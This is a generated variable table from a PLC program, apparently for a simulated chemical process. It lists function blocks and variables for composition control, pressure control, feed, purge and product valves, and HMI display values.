+86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; 